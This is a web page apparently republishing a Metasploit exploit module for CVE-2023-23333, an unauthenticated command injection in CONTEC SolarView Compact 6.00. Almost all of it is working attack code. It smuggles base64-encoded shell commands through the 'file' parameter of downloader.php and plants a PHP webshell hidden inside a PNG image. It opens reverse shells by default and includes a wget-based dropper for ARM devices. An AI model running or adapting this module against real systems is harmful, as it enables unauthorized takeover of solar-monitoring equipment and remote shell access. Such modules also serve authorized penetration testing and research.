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Published on September 6th, 2023 📆 | 7147 Views ⚑

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SolarView Compact 6.00 Remote Command Execution – Torchsec


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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::PhpPayloadPng
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarView Compact unauthenticated remote command execution vulnerability.',
'Description' => %q{
CONTEC's SolarViewβ„’ Series enables you to monitor and visualize solar power and is only available in Japan.
This module exploits a command injection vulnerability on the SolarView Compact `v6.00` web application
via vulnerable endpoint `downloader.php`.
After exploitation, an attacker will have full access with the same user privileges under
which the webserver is running (typically as user `contec`).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y ' # MSF module contributor
],
'References' => [
['CVE', '2023-23333'],
['URL', 'https://attackerkb.com/topics/kE3lzTZGV2/cve-2023-23333']
],
'DisclosureDate' => '2023-05-15',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_ARMLE, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'printf', 'echo', 'bourne'],
'Linemax' => 65535,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'HttpClientTimeout' => 40 # set to 40 seconds because http response is pretty slow.
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The SolarView endpoint URL', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil
], conditions: %w[TARGET == 0])
])
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = if datastore['WEBSHELL'].blank?
"#{Rex::Text.rand_text_alpha(8..16)}.php"
else
datastore['WEBSHELL'].to_s
end

@post_param = Rex::Text.rand_text_alphanumeric(1..8)

# inject PHP payload into the PLTE chunk of a PNG image to hide the payload
php_payload = ""
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')
return nil if png_webshell.nil?





# encode webshell data and write to file on the target at the tmp directory for execution
# the tmp directory is writeable and a symbolic link to /tmp in a standard solarview installation
payload = Base64.strict_encode64(png_webshell.to_s)
cmd = "echo #{payload}|base64 -d >tmp/#{@webshell_name}"
return execute_command(cmd)
end

def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'tmp', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end

def execute_command(cmd, _opts = {})
# Encode payload with base64 to ensure proper execution
payload = Base64.strict_encode64(cmd)
cmd = "echo #{payload}|base64 -d|bash"
return send_request_cgi({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'downloader.php'),
'vars_get' => {
'file' => ";#{cmd};.zip"
}
})
end

def check
# Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.
# next we will try to read the version file stored in /opt/svc/version
print_status("Checking if #{peer} can be exploited.")
marker = Rex::Text.rand_text_alphanumeric(8..16)
res = execute_command("echo #{marker};cat /opt/svc/version")
if res && res.code == 200 && res.body.include?(marker)
CheckCode::Vulnerable(res.body.match(/SolarView Compact ver\.\d\.\d\d/).to_s)
else
CheckCode::Safe('No valid response received from the target.')
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
res = upload_webshell
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200
register_file_for_cleanup(@webshell_name.to_s)
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end

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